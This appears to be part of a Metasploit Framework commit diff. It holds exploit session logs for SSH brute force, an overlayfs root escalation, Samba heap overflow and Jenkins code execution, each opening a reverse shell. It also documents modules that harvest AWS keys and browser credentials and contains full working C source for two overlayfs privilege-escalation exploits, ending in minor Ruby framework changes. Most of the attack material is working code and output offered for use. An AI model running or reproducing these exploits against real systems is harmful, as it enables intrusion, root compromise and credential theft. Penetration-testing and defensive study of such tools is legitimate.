resource (/root/Text-1.txt)> set password ubuntu
password => ubuntu
resource (/root/Text-1.txt)> exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.117:42139 -> 192.168.2.156:22) at 2016-10-04 22:54:50 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
#### Escalate
resource (overlay.rc)> use exploit/linux/local/overlayfs_priv_esc
resource (overlay.rc)> set verbose true
verbose => true
resource (overlay.rc)> set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
resource (overlay.rc)> set target 0
target => 0
resource (overlay.rc)> set session 1
session => 1
resource (overlay.rc)> set lhost 192.168.2.117
lhost => 192.168.2.117
resource (overlay.rc)> exploit
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Checking if mount points exist
[+] /tmp/ns_sploit not created
[+] Kernel 3.13.0.pre.24.pre.generic is vulnerable to CVE-2015-1328
[+] gcc is installed
[*] Live compiling exploit on system
[*] Checking if mount points exist
[+] /tmp/ns_sploit not created
[+] Kernel 3.13.0.pre.24.pre.generic is vulnerable to CVE-2015-1328
[*] Writing to /tmp/JmK51Dpa.c (3714 bytes)
[*] Max line length is 65537
[*] Writing 3714 bytes in 1 chunks of 13319 bytes (octal-encoded), using printf
[*] Writing to /tmp/ofs-lib.c (439 bytes)
[*] Max line length is 65537
[*] Writing 439 bytes in 1 chunks of 1563 bytes (octal-encoded), using printf
[*] Compiling /tmp/JmK51Dpa.c
[*] Writing to /tmp/R6TrMF7f (155 bytes)
[*] Max line length is 65537
[*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
[*] Exploiting...
[*] Sending stage (36 bytes) to 192.168.2.156
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.156:35876) at 2016-10-14 11:26:49 -0400
[!] Tried to delete /tmp/ofs-lib.c, unknown result
[+] Deleted /tmp/JmK51Dpa
2356964145
psMfOJcKGKnafhAvALIeSFNegauafmux
RHxxKeTrEKLTMmssPTZjlJvkpblZjWSH
KWETRaFhNLLRkUbhRkRoflvdRdbJBPFP
true
ORoIgajQlzSvaciHEGqEvQZqLZMpJDjQ
dTdIcyWRpQOpEHizUhOQkDVqQZaxQIFR
UCINXsLPGwYDBqnRKbFyLFOzkbifFPiF
sh: 0: can't access tty; job control turned off
# # # whoami
root
# uname -a
Linux Ubuntu14 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

View File

@ -0,0 +1,91 @@
## Vulnerable Application
Samba 3.0.0 through 3.0.25rc3 are vulnerable to multiple heap overflows. This module targets a heap overflow in the LsarLookupSids RPC call (CVE-2007-2446), causing an overflow in the function lsa\_io\_trans_name().
The exploit uses the heap overflow to overwrite a function pointer contained in the metadata of the TALLOC memory allocator, a technique which only works on Samba versions 3.0.21-3.0.24.
## Verification Steps
1. Start msfconsole
2. Do: `use exploit/linux/samba/lsa_transnames_heap`
3. Do: `show targets` to see the possible targets
4. Do: `set target #`
5. Do: `set rhost`
6. Do: `exploit`
## MIPS port
This module was ported to exploit the MIPS architecture. After creating a suitable debugging environment using qemu to emulate Samba on a desktop PC the following steps were required:
### MIPS nop generator
The exploit uses a heap overflow to put a large nop sled in memory to decrease the accuracy needed in the initial redirection of code flow. A nop sled is a large section of contiguous instructions which do nothing. When code flow is redirected to a nop sled it will continue executing the effect-less nops. At the end of the sled the true payload is added and execution will eventually hit this code.
A nop generator module was created for MIPS by creating a stream of random instructions which create no side-effects e.g. `sll $2, $2, 0`
### Heap address brute force
The exploit uses a brute force approach to minimize problems with unpredictability in heap layout. The exploit itself is run multiple times, each time targeting a different point in the heap with the change of execution flow. If all goes correctly, the nop sled will be hit and code execution will follow. If the nop sled is missed, the Samba process is likely to crash, which is generally not a problem as a new instance is forked for each incoming connection. In the event of a crash, a new heap address is chosen and exploitation is attempted again.
When porting the exploit to a new system, the approximate heap layout must be known in order to suitably attempt exploitation across all of the possible heap locations. As the MIPS port targeted a specific router, the heap layout was determined by examining the ranges identified in _/proc/<pid>/maps_
## Scenarios
msf > use exploit/linux/samba/lsa\_transnames_heap
msf exploit(lsa\_transnames_heap) > set target 7
target => 7
msf exploit(lsa\_transnames_heap) > set rhost 192.168.1.1
rhost => 192.168.1.1
msf exploit(lsa\_transnames_heap) > show options
Module options (exploit/linux/samba/lsa\_transnames_heap):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.1 yes The target address
RPORT 445 yes The SMB service port
SMBPIPE LSARPC yes The pipe name to use
Exploit target:
Id Name
-- ----
7 Linux Heap Brute Force (OpenWRT MIPS)
msf exploit(lsa\_transnames_heap) > exploit
[*] Started reverse TCP handler on 192.168.1.3:4444
[*] 192.168.1.1:445 - Creating nop sled....
[*] 192.168.1.1:445 - Trying to exploit Samba with address 0x55900000...
[*] 192.168.1.1:445 - Connecting to the SMB service...
[*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
[*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
[*] 192.168.1.1:445 - Calling the vulnerable function...
[*] 192.168.1.1:445 - Server did not respond, this is expected
[*] 192.168.1.1:445 - Trying to exploit Samba with address 0x5590f000...
[*] 192.168.1.1:445 - Connecting to the SMB service...
[*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
[*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
[*] 192.168.1.1:445 - Calling the vulnerable function...
[*] 192.168.1.1:445 - Server did not respond, this is expected
...Some intermediate attempts ommitted...
[*] 192.168.1.1:445 - Trying to exploit Samba with address 0x55996000...
[*] 192.168.1.1:445 - Connecting to the SMB service...
[*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
[*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
[*] 192.168.1.1:445 - Calling the vulnerable function...
[*] 192.168.1.1:445 - Server did not respond, this is expected
[*] 192.168.1.1:445 - Trying to exploit Samba with address 0x559a5000...
[*] 192.168.1.1:445 - Connecting to the SMB service...
[*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
[*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
[*] 192.168.1.1:445 - Calling the vulnerable function...
[*] Command shell session 1 opened (192.168.1.3:4444 -> 192.168.1.1:4175) at 2016-10-31 14:00:33 +0000
uname -a
Linux WNR2200 2.6.15 #1 Mon Dec 23 15:58:24 CST 2013 mips unknown

View File

@ -0,0 +1,130 @@
## Vulnerable Application
Jenkins can be downloaded from [jenkins.io](https://jenkins.io/) where
binaries are available for a variety of operating systems. Both LTS and weekly
builds are available.
Default settings have the script console enabled and require a valid user
account in order to access it. A known account can be used with this module by
setting the `USERNAME` and `PASSWORD` options.
## Verification Steps
Example steps in this format:
1. Install the application
1. Start msfconsole
1. Do: ```use exploit/multi/http/jenkins_script_console```
1. Do: ```set RHOST [target host]```
1. Do: ```set TARGET [target id]```
1. Do: ```exploit```
1. You should get a shell.
## Options
**TARGETURI**
The path to the target instance of Jenkins.
**USERNAME**
A username to an account that has access to the script console. This is only
necessary if the Jenkins instance has been configured to require
authentication.
**PASSWORD**
A password to an account that has access to the script console. This is only
necessary if the Jenkins instance has been configured to require
authentication.
## Scenarios
Example usage against a Windows 7 SP1 x64 bit target running Jenkins 2.19.1.
```
msf > use exploit/multi/http/jenkins_script_console
msf exploit(jenkins_script_console) > set TARGETURI /
TARGETURI => /
msf exploit(jenkins_script_console) > set USERNAME steiner
USERNAME => steiner
msf exploit(jenkins_script_console) > set PASSWORD I<3msf!
PASSWORD => I<3msf!
msf exploit(jenkins_script_console) > set RHOST 192.168.254.126
RHOST => 192.168.254.126
msf exploit(jenkins_script_console) > set RPORT 8080
RPORT => 8080
msf exploit(jenkins_script_console) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(jenkins_script_console) > set LHOST 192.168.254.132
LHOST => 192.168.254.132
msf exploit(jenkins_script_console) > exploit
[*] [2016.10.29-18:43:07] Started reverse TCP handler on 192.168.254.132:4444
[*] [2016.10.29-18:43:07] Checking access to the script console
[*] [2016.10.29-18:43:07] Logging in...
[*] [2016.10.29-18:43:07] Using CSRF token: '9623d245b9d60b5ceda72e2d3613431c' (Jenkins-Crumb style)
[*] [2016.10.29-18:43:07] 192.168.254.126:8080 - Sending command stager...
[*] [2016.10.29-18:43:08] Command Stager progress - 2.06% done (2048/99626 bytes)
[*] [2016.10.29-18:43:08] Command Stager progress - 4.11% done (4096/99626 bytes)
[*] [2016.10.29-18:43:08] Command Stager progress - 6.17% done (6144/99626 bytes)
[*] [2016.10.29-18:43:09] Command Stager progress - 8.22% done (8192/99626 bytes)
[*] [2016.10.29-18:43:09] Command Stager progress - 10.28% done (10240/99626 bytes)
[*] [2016.10.29-18:43:09] Command Stager progress - 12.33% done (12288/99626 bytes)
[*] [2016.10.29-18:43:10] Command Stager progress - 14.39% done (14336/99626 bytes)
[*] [2016.10.29-18:43:10] Command Stager progress - 16.45% done (16384/99626 bytes)
[*] [2016.10.29-18:43:10] Command Stager progress - 18.50% done (18432/99626 bytes)
[*] [2016.10.29-18:43:11] Command Stager progress - 20.56% done (20480/99626 bytes)
[*] [2016.10.29-18:43:11] Command Stager progress - 22.61% done (22528/99626 bytes)
[*] [2016.10.29-18:43:11] Command Stager progress - 24.67% done (24576/99626 bytes)
[*] [2016.10.29-18:43:12] Command Stager progress - 26.72% done (26624/99626 bytes)
[*] [2016.10.29-18:43:12] Command Stager progress - 28.78% done (28672/99626 bytes)
[*] [2016.10.29-18:43:12] Command Stager progress - 30.84% done (30720/99626 bytes)
[*] [2016.10.29-18:43:13] Command Stager progress - 32.89% done (32768/99626 bytes)
[*] [2016.10.29-18:43:13] Command Stager progress - 34.95% done (34816/99626 bytes)
[*] [2016.10.29-18:43:13] Command Stager progress - 37.00% done (36864/99626 bytes)
[*] [2016.10.29-18:43:14] Command Stager progress - 39.06% done (38912/99626 bytes)
[*] [2016.10.29-18:43:14] Command Stager progress - 41.11% done (40960/99626 bytes)
[*] [2016.10.29-18:43:14] Command Stager progress - 43.17% done (43008/99626 bytes)
[*] [2016.10.29-18:43:15] Command Stager progress - 45.23% done (45056/99626 bytes)
[*] [2016.10.29-18:43:15] Command Stager progress - 47.28% done (47104/99626 bytes)
[*] [2016.10.29-18:43:15] Command Stager progress - 49.34% done (49152/99626 bytes)
[*] [2016.10.29-18:43:16] Command Stager progress - 51.39% done (51200/99626 bytes)
[*] [2016.10.29-18:43:16] Command Stager progress - 53.45% done (53248/99626 bytes)
[*] [2016.10.29-18:43:17] Command Stager progress - 55.50% done (55296/99626 bytes)
[*] [2016.10.29-18:43:17] Command Stager progress - 57.56% done (57344/99626 bytes)
[*] [2016.10.29-18:43:17] Command Stager progress - 59.61% done (59392/99626 bytes)
[*] [2016.10.29-18:43:18] Command Stager progress - 61.67% done (61440/99626 bytes)
[*] [2016.10.29-18:43:18] Command Stager progress - 63.73% done (63488/99626 bytes)
[*] [2016.10.29-18:43:18] Command Stager progress - 65.78% done (65536/99626 bytes)
[*] [2016.10.29-18:43:19] Command Stager progress - 67.84% done (67584/99626 bytes)
[*] [2016.10.29-18:43:19] Command Stager progress - 69.89% done (69632/99626 bytes)
[*] [2016.10.29-18:43:19] Command Stager progress - 71.95% done (71680/99626 bytes)
[*] [2016.10.29-18:43:20] Command Stager progress - 74.00% done (73728/99626 bytes)
[*] [2016.10.29-18:43:20] Command Stager progress - 76.06% done (75776/99626 bytes)
[*] [2016.10.29-18:43:20] Command Stager progress - 78.12% done (77824/99626 bytes)
[*] [2016.10.29-18:43:21] Command Stager progress - 80.17% done (79872/99626 bytes)
[*] [2016.10.29-18:43:21] Command Stager progress - 82.23% done (81920/99626 bytes)
[*] [2016.10.29-18:43:21] Command Stager progress - 84.28% done (83968/99626 bytes)
[*] [2016.10.29-18:43:22] Command Stager progress - 86.34% done (86016/99626 bytes)
[*] [2016.10.29-18:43:22] Command Stager progress - 88.39% done (88064/99626 bytes)
[*] [2016.10.29-18:43:22] Command Stager progress - 90.45% done (90112/99626 bytes)
[*] [2016.10.29-18:43:23] Command Stager progress - 92.51% done (92160/99626 bytes)
[*] [2016.10.29-18:43:23] Command Stager progress - 94.56% done (94208/99626 bytes)
[*] [2016.10.29-18:43:23] Command Stager progress - 96.62% done (96256/99626 bytes)
[*] [2016.10.29-18:43:24] Command Stager progress - 98.67% done (98304/99626 bytes)
[*] [2016.10.29-18:43:24] Sending stage (957999 bytes) to 192.168.254.126
[*] [2016.10.29-18:43:24] Command Stager progress - 100.00% done (99626/99626 bytes)
[*] Meterpreter session 1 opened (192.168.254.132:4444 -> 192.168.254.126:49258) at 2016-10-29 18:43:26 -0400
meterpreter > sysinfo
Computer : PWNME-PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64 (Current Process is WOW64)
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/win32
meterpreter >
```

View File

@ -0,0 +1,56 @@
## Vulnerable Application
Any system with a `shell` or `meterpreter` session.
## Verification Steps
1. Get a `shell` or `meterpreter` session on some host.
2. Do: ```use post/multi/gather/aws_keys```
3. Do: ```set SESSION [SESSION_ID]```, replacing ```[SESSION_ID]``` with the session number you wish to run this one.
4. Do: ```run```
5. If the system has readable configuration files containing AWS key material, they will be printed out.
## Options
None.
## Scenarios
```
msf post(aws_keys) > run
[*] Enumerating possible user AWS config files
[*] Looking for AWS config/credentials files in /bin
[*] Looking for AWS config/credentials files in /dev
[*] Looking for AWS config/credentials files in /home/syslog
[*] Looking for AWS config/credentials files in /home/test
[*] Looking for AWS config/credentials files in /home/test ubuntu
[*] Looking for AWS config/credentials files in /home/ubuntu
[*] Looking for AWS config/credentials files in /nonexistent
[*] Looking for AWS config/credentials files in /root
[*] Looking for AWS config/credentials files in /usr/games
[*] Looking for AWS config/credentials files in /usr/sbin
[*] Looking for AWS config/credentials files in /var/backups
[*] Looking for AWS config/credentials files in /var/cache/man
[*] Looking for AWS config/credentials files in /var/cache/pollinate
[*] Looking for AWS config/credentials files in /var/lib/gnats
[*] Looking for AWS config/credentials files in /var/lib/landscape
[*] Looking for AWS config/credentials files in /var/lib/libuuid
[*] Looking for AWS config/credentials files in /var/list
[*] Looking for AWS config/credentials files in /var/mail
[*] Looking for AWS config/credentials files in /var/run/dbus
[*] Looking for AWS config/credentials files in /var/run/ircd
[*] Looking for AWS config/credentials files in /var/run/sshd
[*] Looking for AWS config/credentials files in /var/spool/lpd
[*] Looking for AWS config/credentials files in /var/spool/news
[*] Looking for AWS config/credentials files in /var/spool/uucp
[*] Looking for AWS config/credentials files in /var/www
AWS Key Data
============
Source AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY Profile
------ ----------------- --------------------- -------
/home/test/.aws/credentials BAR PRIVATE_TEST test
/home/ubuntu/.aws/credentials ABC456 PRIVATE_TEST test
/root/.s3cfg root_key root_secret default
```

View File

@ -0,0 +1,106 @@
## Vulnerable Application
This post-exploitation module will extract saved user data from Internet Explorer. For IE versions of 7 and newer the module will try to extract and decrypt saved credentials as well.
## Verification Steps
1. Start `msfconsole`
2. Get meterpreter session
3. Do: `use post/windows/gather/enum_ie`
4. Do: `set SESSION <session id>`
5. Do: `run`
6. You should be able to see the extracted IE browser data in the loot files
## Options
- **SESSION** - The session to run the module on.
## Extracted data
- History
- Cookies
- Autocomplete data
- Credentials **(only for >= IE7)**
- HTTP auth credentials
- Saved form credentials
## Example Scenario
**Using the module with an earlier version than IE7 (IE6)**
In this scenario the module won't be able to extract credential data.
```
msf exploit(handler) > use post/windows/gather/enum_ie
msf post(enum_ie) > set SESSION 1
SESSION => 1
msf post(enum_ie) > run
[*] IE Version: 6.0.2900.5512
[-] This module will only extract credentials for >= IE7
[*] Retrieving history.....
File: C:\Documents and Settings\user\Local Settings\History\History.IE5\index.dat
[*] Retrieving cookies.....
File: C:\Documents and Settings\user\Cookies\index.dat
[*] Looping through history to find autocomplete data....
[-] No autocomplete entries found in registry
[*] Looking in the Credential Store for HTTP Authentication Creds...
[*] Writing history to loot...
[*] Data saved in: /home/user/.msf4/loot/20161031155122_default_10.0.2.15_ie.history_747359.txt
[*] Writing cookies to loot...
[*] Data saved in: /home/user/.msf4/loot/20161031155122_default_10.0.2.15_ie.cookies_795069.txt
[*] Post module execution completed
```
**Using the module with IE7+ (IE8)**
In this scenario the module will try to extract credential data, display it in the console and save it in a loot file.
```
msf exploit(handler) > use post/windows/gather/enum_ie
msf post(enum_ie) > set SESSION 1
SESSION => 1
msf post(enum_ie) > run
[*] IE Version: 8.0.7601.17514
[*] Retrieving history.....
File: C:\Users\IEUser\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat
File: C:\Users\IEUser\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat
[*] Retrieving cookies.....
File: C:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Cookies\index.dat
File: C:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Cookies\Low\index.dat
[*] Looping through history to find autocomplete data....
[*] Looking in the Credential Store for HTTP Authentication Creds...
[*] Writing history to loot...
[*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.history_555694.txt
[*] Writing cookies to loot...
[*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.cookies_216987.txt
[*] Writing gathered credentials to loot...
[*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.user.creds_355504.txt
Credential data
===============
Type Url User Pass
---- --- ---- ----
Auto Complete https://wordpresssite.net/wp-login.php sampleUser P455w0rd
Auto Complete https://wordpresssite.net/wp-login.php sampleUser P455w0rd
[*] Post module execution completed
```
The extracted history data would in both scenarios for example look like this:
```
History data
============
Date Modified Date Accessed Url
------------- ------------- ---
2011-11-20T23:59:02+00:00 2011-11-20T23:59:02+00:00 about:Home
2016-10-31T14:42:05+00:00 2016-10-31T14:42:05+00:00 http://go.microsoft.com/fwlink/?LinkId=54729&clcid=0x0407
2016-10-31T14:42:06+00:00 2016-10-31T14:42:06+00:00 http://de.msn.com/?ocid=iefvrt
2016-10-31T14:42:08+00:00 2016-10-31T14:42:08+00:00 http://www.microsoft.com/isapi/redir.dll?prd=ie&pver=6&ar=msnhome
2016-10-31T14:42:23+00:00 2016-10-31T14:42:23+00:00 http://www.msn.com/de-de?ocid=iefvrt
2016-10-31T14:47:42+00:00 2016-10-31T14:47:42+00:00 file:///E:/text.txt
```

View File

@ -0,0 +1,113 @@
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>
#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n"
static char child_stack[1024*1024];
static int
child_exec(void *stuff)
{
char *file;
system("rm -rf /tmp/ns_sploit");
mkdir("/tmp/ns_sploit", 0777);
mkdir("/tmp/ns_sploit/work", 0777);
mkdir("/tmp/ns_sploit/upper",0777);
mkdir("/tmp/ns_sploit/o",0777);
fprintf(stderr,"mount #1\n");
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
exit(-1);
}
file = ".access";
chmod("/tmp/ns_sploit/work/work",0777);
} else file = "ns_last_pid";
chdir("/tmp/ns_sploit/o");
rename(file,"ld.so.preload");
chdir("/");
umount("/tmp/ns_sploit/o");
fprintf(stderr,"mount #2\n");
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
exit(-1);
}
chmod("/tmp/ns_sploit/work/work",0777);
}
chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
umount("/tmp/ns_sploit/o");
}
int
main(int argc, char **argv)
{
int status, fd, lib;
pid_t wrapper, init;
int clone_flags = CLONE_NEWNS | SIGCHLD;
fprintf(stderr,"spawning threads\n");
if((wrapper = fork()) == 0) {
if(unshare(CLONE_NEWUSER) != 0)
fprintf(stderr, "failed to create new user namespace\n");
if((init = fork()) == 0) {
pid_t pid =
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
if(pid < 0) {
fprintf(stderr, "failed to create new mount namespace\n");
exit(-1);
}
waitpid(pid, &status, 0);
}
waitpid(init, &status, 0);
return 0;
}
usleep(300000);
wait(NULL);
fprintf(stderr,"child threads done\n");
fd = open("/etc/ld.so.preload",O_WRONLY);
if(fd == -1) {
fprintf(stderr,"exploit failed\n");
exit(-1);
}
fprintf(stderr,"/etc/ld.so.preload created\n");
/*
fprintf(stderr,"creating shared library\n");
lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
write(lib,LIB,strlen(LIB));
close(lib);
lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
if(lib != 0) {
fprintf(stderr,"couldn't create dynamic library\n");
exit(-1);
}*/
write(fd,"/tmp/ofs-lib.so\n",16);
close(fd);
system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
execl("/bin/su","su",NULL);
}

View File

@ -0,0 +1,16 @@
#include <unistd.h>
uid_t(*_real_getuid) (void);
char path[128];
uid_t getuid(void){
_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, "getuid");
readlink("/proc/self/exe", (char *) &path, 128);
if(geteuid() == 0 && !strcmp(path, "/bin/su")) {
unlink("/etc/ld.so.preload");unlink("/tmp/ofs-lib.so");
setresuid(0, 0, 0);
setresgid(0, 0, 0);
execle("/bin/sh", "sh", "-i", NULL, NULL);
}
return _real_getuid();
}

View File

@ -0,0 +1,78 @@
#include <stdio.h>
#include <sched.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>
#include <sys/wait.h>
static char child_stack[1024*1024];
static int
child_exec(void *stuff)
{
system("rm -rf /tmp/haxhax");
mkdir("/tmp/haxhax", 0777);
mkdir("/tmp/haxhax/w", 0777);
mkdir("/tmp/haxhax/u",0777);
mkdir("/tmp/haxhax/o",0777);
if (mount("overlay", "/tmp/haxhax/o", "overlay", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/haxhax/u,workdir=/tmp/haxhax/w") != 0) {
fprintf(stderr,"mount failed..\n");
}
chmod("/tmp/haxhax/w/work",0777);
chdir("/tmp/haxhax/o");
chmod("bash",04755);
chdir("/");
umount("/tmp/haxhax/o");
return 0;
}
int
main(int argc, char **argv)
{
int status;
pid_t wrapper, init;
int clone_flags = CLONE_NEWNS | SIGCHLD;
struct stat s;
if((wrapper = fork()) == 0) {
if(unshare(CLONE_NEWUSER) != 0)
fprintf(stderr, "failed to create new user namespace\n");
if((init = fork()) == 0) {
pid_t pid =
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
if(pid < 0) {
fprintf(stderr, "failed to create new mount namespace\n");
exit(-1);
}
waitpid(pid, &status, 0);
}
waitpid(init, &status, 0);
return 0;
}
usleep(300000);
wait(NULL);
stat("/tmp/haxhax/u/bash",&s);
if(s.st_mode == 0x89ed)
execl("/tmp/haxhax/u/bash","bash","-p","-c","rm -rf /tmp/haxhax;python -c \"import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');\"",NULL);
fprintf(stderr,"couldn't create suid :(\n");
return -1;
}

View File

@ -133,6 +133,8 @@ module Metasploit
@parent.print_error(message)
end
alias_method :print_bad, :print_error
end
end
end

View File

@ -51,8 +51,9 @@ class TDSSSLProxy
def setup_ssl
@running = true
@t1 = Thread.start { ssl_setup_thread }
ssl_context = OpenSSL::SSL::SSLContext.new(:TLSv1)
@ssl_socket = OpenSSL::SSL::SSLSocket.new(@s1, ssl_context)
ctx = OpenSSL::SSL::SSLContext.new(:SSLv23)
ctx.ciphers = "ALL:!ADH:!EXPORT:!SSLv2:!SSLv3:+HIGH:+MEDIUM"
@ssl_socket = OpenSSL::SSL::SSLSocket.new(@s1, ctx)
@ssl_socket.connect
end

View File

@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.12.40"
VERSION = "4.13.1"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash

View File

@ -667,6 +667,8 @@ module Auxiliary::AuthBrute
print_brute :level => :verror, :legacy_msg => msg
end
alias_method :vprint_bad, :vprint_error
# Legacy vprint
def vprint_good(msg='')
print_brute :level => :vgood, :legacy_msg => msg

View File

@ -326,5 +326,7 @@ class Auxiliary::Web::HTTP
@parent.print_error message
end
alias_method :print_bad, :print_error
end
end

View File

@ -228,12 +228,9 @@ protected
end
def generate_ssl_context
ctx = OpenSSL::SSL::SSLContext.new
ctx.key = OpenSSL::PKey::RSA.new(1024){ }
ctx.session_id_context = Rex::Text.rand_text(16)
return ctx
ctx = OpenSSL::SSL::SSLContext.new(:SSLv23)
ctx.ciphers = "ALL:!ADH:!EXPORT:!SSLv2:!SSLv3:+HIGH:+MEDIUM"
ctx
end
end

View File

@ -8,6 +8,8 @@ module Msf::Module::UI::Message
super(print_prefix + msg)
end
alias_method :print_bad, :print_error
def print_good(msg='')
super(print_prefix + msg)
end

View File

@ -4,6 +4,8 @@ module Msf::Module::UI::Message::Verbose
print_error(msg) if datastore['VERBOSE'] || (!framework.nil? && framework.datastore['VERBOSE'])
end
alias_method :vprint_bad, :vprint_error
# Verbose version of #print_good
def vprint_good(msg='')
print_good(msg) if datastore['VERBOSE'] || (!framework.nil? && framework.datastore['VERBOSE'])

View File

@ -19,6 +19,8 @@ class Msf::Payload::Apk
$stderr.puts "[-] #{msg}"
end
alias_method :print_bad, :print_error
def usage
print_error "Usage: #{$0} -x [target.apk] [msfvenom options]\n"
print_error "e.g. #{$0} -x messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n"
@ -75,17 +77,23 @@ class Msf::Payload::Apk
original_manifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
original_permissions = original_manifest.xpath("//manifest/uses-permission")
manifest = original_manifest.xpath('/manifest')
old_permissions = []
for permission in original_permissions
original_permissions.each do |permission|
name = permission.attribute("name").to_s
old_permissions << name
end
for permission in payload_permissions
application = original_manifest.xpath('//manifest/application')
payload_permissions.each do |permission|
name = permission.attribute("name").to_s
unless old_permissions.include?(name)
print_status("Adding #{name}")
original_permissions.before(permission.to_xml)
if original_permissions.empty?
application.before(permission.to_xml)
original_permissions = original_manifest.xpath("//manifest/uses-permission")
else
original_permissions.before(permission.to_xml)
end
end
end
@ -93,12 +101,12 @@ class Msf::Payload::Apk
application << payload_manifest.at_xpath('/manifest/application/receiver').to_xml
application << payload_manifest.at_xpath('/manifest/application/service').to_xml
File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts original_manifest.to_xml }
File.open("#{tempdir}/original/AndroidManifest.xml", "wb") { |file| file.puts original_manifest.to_xml }
end
def parse_orig_cert_data(orig_apkfile)
orig_cert_data = Array[]
keytool_output = run_cmd("keytool -printcert -jarfile #{orig_apkfile}")
keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile #{orig_apkfile}")
owner_line = keytool_output.match(/^Owner:.+/)[0]
orig_cert_dname = owner_line.gsub(/^.*:/, '').strip
orig_cert_data.push("#{orig_cert_dname}")

View File

@ -37,7 +37,7 @@ module Payload::Windows::ReverseWinHttp
# Add extra options if we have enough space
if self.available_space && required_space <= self.available_space
